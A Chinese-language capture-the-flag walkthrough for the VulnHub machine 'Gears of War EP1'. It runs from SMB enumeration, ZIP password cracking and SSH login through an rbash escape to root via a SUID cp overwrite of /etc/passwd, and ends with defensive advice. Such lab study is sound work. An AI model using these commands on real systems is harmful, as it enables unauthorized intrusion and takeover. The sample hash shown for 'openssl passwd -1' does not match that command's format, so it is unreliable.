Gear of war靶机渗透
字数 1109 2025-08-12 11:34:33
Gear of War 靶机渗透实战教学文档
1. 靶机概述
靶机名称: Gears of War EP1
下载地址: VulnHub
难度: 中等(包含一些rabbit holes/误导路径)
目标: 从监狱逃脱并获取root权限
测试环境IP: 10.8.1.123
2. 信息收集阶段
2.1 端口扫描
使用nmap进行初始扫描:
nmap -sV -p- 10.8.1.123
开放端口及服务:
- 22/tcp: SSH
- 25/tcp: SMTP
- 80/tcp: HTTP
- 110/tcp: POP3
- 139/tcp: NetBIOS
- 445/tcp: SMB
2.2 SMB服务枚举
使用enum4linux工具收集SMB信息:
enum4linux -a 10.8.1.123
发现:
- 共享文件夹:
LOCUS_LAN$ - 有效用户:
marcus(可匿名访问)
3. 初始访问获取
3.1 访问SMB共享
使用smbclient连接共享:
smbclient //10.8.1.123/LOCUS_LAN$ -U marcus
(密码为空)
获取的文件:
- msg_horda.zip
- SOS.txt
3.2 文件分析
SOS.txt内容:
找到了一个文件,其中包含一个密码,尝试获得密码
3.3 ZIP密码破解
- 生成字典:
crunch 4 4 -t @%%, -o dic.txt
(解释:@代表小写字母,%代表数字,,代表大写字母)
- 使用fcrackzip爆破:
fcrackzip -D -u -p dic.txt msg_horda.zip
爆破结果: 密码为r44M
- 解压文件:
unzip -P r44M msg_horda.zip
获得key.txt文件,内容提示密码可能是3_d4y
4. SSH访问
4.1 暴力破解SSH
已知用户marcus,尝试密码3_d4y:
ssh marcus@10.8.1.123
成功登录
5. 受限环境突破
5.1 绕过rbash限制
- 使用vi编辑器绕过:
vi
:set shell=/bin/sh
:shell
- 升级shell:
python -c 'import pty;pty.spawn("/bin/bash")'
6. 权限提升
6.1 查找SUID文件
find / -perm -u=s -type f 2>/dev/null
发现cp命令具有SUID权限
6.2 利用cp提权
- 复制passwd文件:
cp /etc/passwd .
- 生成加密密码:
openssl passwd -1 -salt win test
输出示例:teH0wLIpW0gyQ
- 编辑passwd文件:
echo "win:teH0wLIpW0gyQ:0:0:root:/root:/bin/bash" >> passwd
- 覆盖原passwd文件:
cp passwd /etc/passwd
- 切换用户:
su win
密码:test
7. 获取flag
成功获取root权限后,在常规位置查找flag文件(如/root目录下)
关键知识点总结
- SMB枚举技巧:enum4linux是收集SMB信息的强大工具
- 密码爆破策略:
- 利用crunch生成针对性字典
- 理解密码模式(@%%,等占位符含义)
- 受限shell绕过:通过编辑器或python升级shell
- SUID提权:
- 识别可利用的SUID二进制文件
- 通过修改passwd文件添加root权限用户
- 密码生成:openssl passwd命令的使用
防御建议
- 禁用SMB匿名访问
- 使用强密码策略,避免简单模式密码
- 限制SUID权限,定期审计
- 实施rbash时确保完全限制,防止绕过
- 监控/etc/passwd文件的异常修改